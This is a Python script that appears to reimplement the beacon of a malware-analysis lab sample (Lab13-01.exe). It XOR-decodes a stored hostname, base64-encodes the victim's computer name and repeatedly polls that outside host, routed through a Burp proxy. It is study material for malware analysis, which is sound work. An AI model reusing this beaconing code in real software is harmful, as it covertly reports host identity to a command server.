# Python 3.7 x64 Windows
# by @rextco
# pip install pywin32
import win32api
import base64
import requests
import time


def read_file(file_name):
    with open(file_name, "rb") as fp:
        c = fp.read()
    return c


def write_file(file_name, content):
    with open(file_name, "wb") as f:
        f.write(content)


def single_byte_key_xor(plaintext, key):
    if (key < 0x0) or (key > 0xFF):
        raise Exception("!single_byte_key_xor key bad range")

    # XOR every byte of the plaintext
    encoded_bytes = map(lambda b: b ^ key, bytearray(plaintext))
    return bytearray(encoded_bytes)


if __name__ == "__main__":
    # /BinaryCollection/Chapter_13L/Lab13-01.exe

    # LoadResource
    raw = read_file("lab13_xor_data.bin")
    www = single_byte_key_xor(raw, 0x3b).decode()

    my_headers = {
        'User-Agent': 'Mozilla/4.0'
    }

    my_proxies = {
        'http': 'http://127.0.0.1:8080'         # Burp
    }

    hostname = base64.b64encode(win32api.GetComputerName().encode("utf-8")[:12])
    url = "http://{:s}/{:s}/".format(www, hostname.decode())
    print("URL = {}".format(url))
    no_exit_loop = True
    while no_exit_loop:
        time.sleep(0.5)
        try:
            r = requests.get(url, headers=my_headers, proxies=my_proxies)   # Debug mode
            # r = requests.get(url, headers=my_headers)
            r.raise_for_status()
            no_exit_loop = False
        except requests.HTTPError as e:
            print("Internet connection failed. Code = {}".format(e.response.status_code))
        except requests.ConnectionError:
            print("No internet available")
        time.sleep(30)
